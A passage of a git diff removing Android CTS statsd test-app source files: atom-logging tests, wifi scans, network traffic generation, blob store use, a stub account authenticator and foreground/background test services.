- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- /** Does two wifi scans. */
- // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
- public void testWifiScan() {
- Context context = InstrumentationRegistry.getContext();
- IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
- // Sometimes a scan was already running (from a different uid), so the first scan doesn't
- // start when requested. Therefore, additionally wait for whatever scan is currently running
- // to finish, then request a scan again - at least one of these two scans should be
- // attributed to this app.
- for (int i = 0; i < 2; i++) {
- CountDownLatch onReceiveLatch = new CountDownLatch(1);
- BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
- context.getSystemService(WifiManager.class).startScan();
- waitForReceiver(context, 60_000, onReceiveLatch, receiver);
- }
- }
-
- @Test
- public void testSimpleCpu() {
- long timestamp = System.currentTimeMillis();
- for (int i = 0; i < 10000; i ++) {
- timestamp += i;
- }
- Log.i(TAG, "The answer is " + timestamp);
- }
-
- @Test
- public void testWriteRawTestAtom() throws Exception {
- Context context = InstrumentationRegistry.getTargetContext();
- ApplicationInfo appInfo = context.getPackageManager()
- .getApplicationInfo(context.getPackageName(), 0);
- int[] uids = {1234, appInfo.uid};
- String[] tags = {"tag1", "tag2"};
- byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
- Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
-
- // All nulls. Should get dropped since cts app is not in the attribution chain.
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
- 0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
-
- // Null tag in attribution chain.
- int[] uids2 = {9999, appInfo.uid};
- String[] tags2 = {"tag9999", null};
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
- Long.MIN_VALUE, -2.5f, "Test null uid", true,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
-
- // Non chained non-null
- StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
- appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
-
- // Non chained all null
- StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
- 0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
-
- }
-
- /**
- * Bring up and generate some traffic on cellular data connection.
- */
- @Test
- public void testGenerateMobileTraffic() throws Exception {
- final Context context = InstrumentationRegistry.getContext();
- doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
- }
-
- // Constants which are locally used by doGenerateNetworkTraffic.
- private static final int NETWORK_TIMEOUT_MILLIS = 15000;
- private static final String HTTPS_HOST_URL =
- "https://connectivitycheck.gstatic.com/generate_204";
-
- private void doGenerateNetworkTraffic(@NonNull Context context,
- @NetworkCapabilities.Transport int transport) throws InterruptedException {
- final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
- final NetworkRequest request = new NetworkRequest.Builder().addCapability(
- NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
- final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
-
- // Request network, and make http query when the network is available.
- cm.requestNetwork(request, callback);
-
- // If network is not available, throws IllegalStateException.
- final Network network = callback.waitForAvailable();
- if (network == null) {
- throw new IllegalStateException("network "
- + NetworkCapabilities.transportNameOf(transport) + " is not available.");
- }
-
- final long startTime = SystemClock.elapsedRealtime();
- try {
- exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
- Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
- - startTime) + " ms");
- } catch (Exception e) {
- Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
- - startTime) + " ms: " + e);
- } finally {
- cm.unregisterNetworkCallback(callback);
- }
- }
-
- /**
- * Generate traffic on specified network.
- */
- private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
- @NonNull URL url) throws Exception {
- cm.bindProcessToNetwork(network);
- HttpURLConnection urlc = null;
- try {
- urlc = (HttpURLConnection) network.openConnection(url);
- urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
- urlc.setUseCaches(false);
- urlc.connect();
- } finally {
- if (urlc != null) {
- urlc.disconnect();
- }
- }
- }
-
- // Constants for testBlobStore
- private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
- private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
- private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
- private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
- private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
- "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
- @Test
- public void testBlobStore() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
- BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
- final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
- final FakeBlobData blobData = new FakeBlobData.Builder(context).setExpiryDurationMs(
- BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
- blobData.prepare();
- try {
- // Commit the Blob, should result in BLOB_COMMITTED atom event
- commitBlob(context, bsm, blobData);
-
- // Lease the Blob, should result in BLOB_LEASED atom event
- bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
- // Open the Blob, should result in BLOB_OPENED atom event
- bsm.openBlob(blobData.getBlobHandle());
-
- } finally {
- blobData.delete();
- }
- }
-
- // ------- Helper methods
-
- /** Puts the current thread to sleep. */
- static void sleep(int millis) {
- try {
- Thread.sleep(millis);
- } catch (InterruptedException e) {
- Log.e(TAG, "Interrupted exception while sleeping", e);
- }
- }
-
- /** Register receiver to determine when given action is complete. */
- private static BroadcastReceiver registerReceiver(
- Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
- BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.d(TAG, "Received broadcast.");
- onReceiveLatch.countDown();
- }
- };
- // Run Broadcast receiver in a different thread since the main thread will wait.
- HandlerThread handlerThread = new HandlerThread("br_handler_thread");
- handlerThread.start();
- Looper looper = handlerThread.getLooper();
- Handler handler = new Handler(looper);
- ctx.registerReceiver(receiver, intentFilter, null, handler);
- return receiver;
- }
-
- /**
- * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
- * receiver is needed to be unregistered.
- */
- private static void waitForReceiver(Context ctx,
- int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
- try {
- boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
- if (didFinish) {
- Log.v(TAG, "Finished performing action");
- } else {
- // This is not necessarily a problem. If we just want to make sure a count was
- // recorded for the request, it doesn't matter if the action actually finished.
- Log.w(TAG, "Did not finish in specified time.");
- }
- } catch (InterruptedException e) {
- Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
- }
- if (ctx != null && receiver != null) {
- ctx.unregisterReceiver(receiver);
- }
- }
-
- private static void setScreenBrightness(int brightness) {
- runShellCommand("settings put system screen_brightness " + brightness);
- }
-
-
- private void commitBlob(Context context, BlobStoreManager bsm, FakeBlobData blobData)
- throws Exception {;
- final long sessionId = bsm.createSession(blobData.getBlobHandle());
- try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
- blobData.writeToSession(session);
- session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
- final CompletableFuture<Integer> callback = new CompletableFuture<>();
- session.commit(context.getMainExecutor(), callback::complete);
- assertWithMessage("Session failed to commit within timeout").that(
- callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
deleted file mode 100644
index 3728cef..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.wifi.WifiManager;
-import android.os.Vibrator;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Test;
-
-/**
- * Methods to check device properties. They pass iff the check returns true.
- */
-public class Checkers {
- private static final String TAG = Checkers.class.getSimpleName();
-
- @Test
- public void checkVibratorSupported() {
- Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
- assertThat(v.hasVibrator()).isTrue();
- }
-
- @Test
- public void checkWifiEnhancedPowerReportingSupported() {
- WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
- assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
deleted file mode 100644
index e2ec7f7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.widget.VideoView;
-import android.util.Log;
-
-
-public class DaveyActivity extends Activity {
- private static final String TAG = "statsdDaveyActivity";
-
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_davey);
- DaveyView view = (DaveyView)findViewById(R.id.davey_view);
- view.causeDavey(true);
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
deleted file mode 100644
index bf1cd35..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.view.View;
-import android.content.Context;
-import android.content.res.TypedArray;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetrics;
-import android.os.SystemClock;
-import android.util.AttributeSet;
-import android.util.Log;
-
-
-public class DaveyView extends View {
-
- private static final String TAG = "statsdDaveyView";
-
- private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
- private boolean mCauseDavey;
- private Paint mPaint;
- private int mTexty;
-
- public DaveyView(Context context, AttributeSet attrs) {
- super(context, attrs);
- TypedArray a = context.getTheme().obtainStyledAttributes(
- attrs,
- R.styleable.DaveyView,
- 0, 0);
-
- try {
- mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
- } finally {
- a.recycle();
- }
-
- mPaint = new Paint();
- mPaint.setColor(Color.BLACK);
- mPaint.setTextSize(20);
- FontMetrics metric = mPaint.getFontMetrics();
- int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
- mTexty = textHeight - (int) metric.descent;
- }
-
- public void causeDavey(boolean cause) {
- mCauseDavey = cause;
- invalidate();
- }
-
- @Override
- protected void onDraw(Canvas canvas) {
- super.onDraw(canvas);
- if (mCauseDavey) {
- canvas.drawText("Davey!", 0, mTexty, mPaint);
- SystemClock.sleep(DAVEY_TIME_MS);
- mCauseDavey = false;
- } else {
- canvas.drawText("No Davey", 0, mTexty, mPaint);
- }
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
deleted file mode 100644
index fd849c9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import org.junit.Test;
-
-import java.io.File;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-public class DirectoryTests {
-
- @Test
- public void testStatsActiveMetricDirectoryExists() {
- final File f = new File("/data/misc/stats-active-metric/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsDataDirectoryExists() {
- final File f = new File("/data/misc/stats-data/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsMetadataDirectoryExists() {
- final File f = new File("/data/misc/stats-metadata/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsServiceDirectoryExists() {
- final File f = new File("/data/misc/stats-service/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testTrainInfoDirectoryExists() {
- final File f = new File("/data/misc/train-info/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
deleted file mode 100644
index 85acd07..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.AccountManager;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-
-import java.util.Arrays;
-
-/**
- * Authenticator for the sync test.
- */
-public class StatsdAuthenticator extends Service {
- private static final String TAG = "AtomTestsAuthenticator";
-
- private static final String ACCOUNT_NAME = "StatsdCts";
- private static final String ACCOUNT_TYPE = "com.android.cts.statsd";
- private static Authenticator sInstance;
-
- @Override
- public IBinder onBind(Intent intent) {
- if (sInstance == null) {
- sInstance = new Authenticator(getApplicationContext());
-
- }
- return sInstance.getIBinder();
- }
-
- public static Account getTestAccount() {
- return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
- }
-
- /**
- * Adds the test account, if it doesn't exist yet.
- */
- public static void ensureTestAccount(Context context) {
- final Account account = getTestAccount();
-
- Bundle result = new Bundle();
- result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
- result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
-
- final AccountManager am = context.getSystemService(AccountManager.class);
-
- if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
- am.addAccountExplicitly(account, "password", new Bundle());
- }
- }
-
- /**
- * Remove the test account.
- */
- public static void removeAllAccounts(Context context) {
- final AccountManager am = context.getSystemService(AccountManager.class);
-
- for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
- Log.i(TAG, "Removing " + account + "...");
- am.removeAccountExplicitly(account);
- Log.i(TAG, "Removed");
- }
- }
-
- public static class Authenticator extends AbstractAccountAuthenticator {
-
- private final Context mContxet;
-
- public Authenticator(Context context) {
- super(context);
- mContxet = context;
- }
-
- @Override
- public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
- String authTokenType, String[] requiredFeatures, Bundle options)
- throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
- return new Bundle();
- }
-
- @Override
- public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
- Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
- String authTokenType, Bundle options) throws NetworkErrorException {
- return new Bundle();
- }
-
- @Override
- public String getAuthTokenLabel(String authTokenType) {
- return "token_label";
- }
-
- @Override
- public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
- String[] features) throws NetworkErrorException {
- return new Bundle();
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
deleted file mode 100644
index ad018f9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import com.android.server.cts.device.statsd.AtomTests;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.util.Log;
-
-/** An service (to be run as a background process) which performs one of a number of actions. */
-public class StatsdCtsBackgroundService extends IntentService {
- private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_LMK = "action.lmk";
-
- public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-
- static {
- System.loadLibrary("lmkhelper");
- }
-
- public StatsdCtsBackgroundService() {
- super(StatsdCtsBackgroundService.class.getName());
- }
-
- @Override
- public void onHandleIntent(Intent intent) {
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from background service.");
-
- switch (action) {
- case ACTION_BACKGROUND_SLEEP:
- AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
- break;
- case ACTION_END_IMMEDIATELY:
- break;
- case ACTION_LMK:
- new Thread(this::cmain).start();
- break;
- default:
- Log.e(TAG, "Intent had invalid action");
- }
- }
-
- /**
- * Keep allocating memory until the process is killed by LMKD.
- **/
- public native void cmain();
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
deleted file mode 100644
index 1f14c3a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationChannelGroup;
-import android.app.NotificationManager;
-import android.app.usage.NetworkStatsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.net.ConnectivityManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Gravity;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-
-/** An activity (to be run as a foreground process) which performs one of a number of actions. */
-public class StatsdCtsForegroundActivity extends Activity {
- private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
-
- public static final String KEY_ACTION = "action";
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
- public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
- public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
- public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
- public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
- public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
-
- public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
- public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
- public static final int LONG_SLEEP_WHILE_TOP = 60_000;
-
- @Override
- public void onCreate(Bundle bundle) {
- super.onCreate(bundle);
-
- Intent intent = this.getIntent();
- if (intent == null) {
- Log.e(TAG, "Intent was null.");
- finish();
- }
-
- String action = intent.getStringExtra(KEY_ACTION);
- Log.i(TAG, "Starting " + action + " from foreground activity.");
-
- switch (action) {
- case ACTION_END_IMMEDIATELY:
- finish();
- break;
- case ACTION_SLEEP_WHILE_TOP:
- doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
- break;
- case ACTION_LONG_SLEEP_WHILE_TOP:
- doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
- break;
- case ACTION_SHOW_APPLICATION_OVERLAY:
- doShowApplicationOverlay();
- break;
- case ACTION_SHOW_NOTIFICATION:
- doShowNotification();
- break;
- case ACTION_CREATE_CHANNEL_GROUP:
- doCreateChannelGroup();
- break;
- case ACTION_POLL_NETWORK_STATS:
- doPollNetworkStats();
- break;
- default:
- Log.e(TAG, "Intent had invalid action " + action);
- finish();
- }
- }
-
- /** Does nothing, but asynchronously. */
- private void doSleepWhileTop(int sleepTime) {
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- AtomTests.sleep(sleepTime);
- return null;
- }
-
- @Override
- protected void onPostExecute(Void nothing) {
- finish();
- }
- }.execute();
- }
-
- private void doShowApplicationOverlay() {
- // Adapted from BatteryStatsBgVsFgActions.java.
- final WindowManager wm = getSystemService(WindowManager.class);
- Point size = new Point();
- wm.getDefaultDisplay().getSize(size);
-
- WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
- WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
- WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
- | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
- wmlp.width = size.x / 4;
- wmlp.height = size.y / 4;
- wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
- wmlp.setTitle(getPackageName());
-
- ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
- ViewGroup.LayoutParams.MATCH_PARENT,
- ViewGroup.LayoutParams.MATCH_PARENT);
-
- View v = new View(this);
- v.setBackgroundColor(Color.GREEN);
- v.setLayoutParams(vglp);
- wm.addView(v, wmlp);
-
- // The overlay continues long after the finish. The following is just to end the activity.
- AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
- finish();
- }
-
- private void doShowNotification() {
- final int notificationId = R.layout.activity_main;
- final String notificationChannelId = "StatsdCtsChannel";
-
- NotificationManager nm = getSystemService(NotificationManager.class);
- NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
- NotificationManager.IMPORTANCE_DEFAULT);
- channel.setDescription("Statsd Cts Channel");
- nm.createNotificationChannel(channel);
-
- nm.notify(
- notificationId,
- new Notification.Builder(this, notificationChannelId)
- .setSmallIcon(android.R.drawable.stat_notify_chat)
- .setContentTitle("StatsdCts")
- .setContentText("StatsdCts")
- .build());
- nm.cancel(notificationId);
- finish();
- }
-
- private void doCreateChannelGroup() {
- NotificationManager nm = getSystemService(NotificationManager.class);
- NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
- "Statsd Cts Group");
- channelGroup.setDescription("StatsdCtsGroup Description");
- nm.createNotificationChannelGroup(channelGroup);
- finish();
- }
-
- // Trigger force poll on NetworkStatsService to make sure the service get most updated network
- // stats from lower layer on subsequent verifications.
- private void doPollNetworkStats() {
- final NetworkStatsManager nsm =
- (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
-
- // While the flag of force polling is the only important thing needed when making binder
- // call to service, the type, parameters and returned result of the query here do not
- // matter.
- try {
- nsm.setPollForce(true);
- nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
- Long.MAX_VALUE);
- } catch (RemoteException e) {
- Log.e(TAG, "doPollNetworkStats failed with " + e);
- } finally {
- finish();
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
deleted file mode 100644
index ab46f5f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Process;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-public class StatsdCtsForegroundService extends Service {
- private static final String TAG = "SimpleForegroundService";
- private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
-
- // TODO: pass this in from host side.
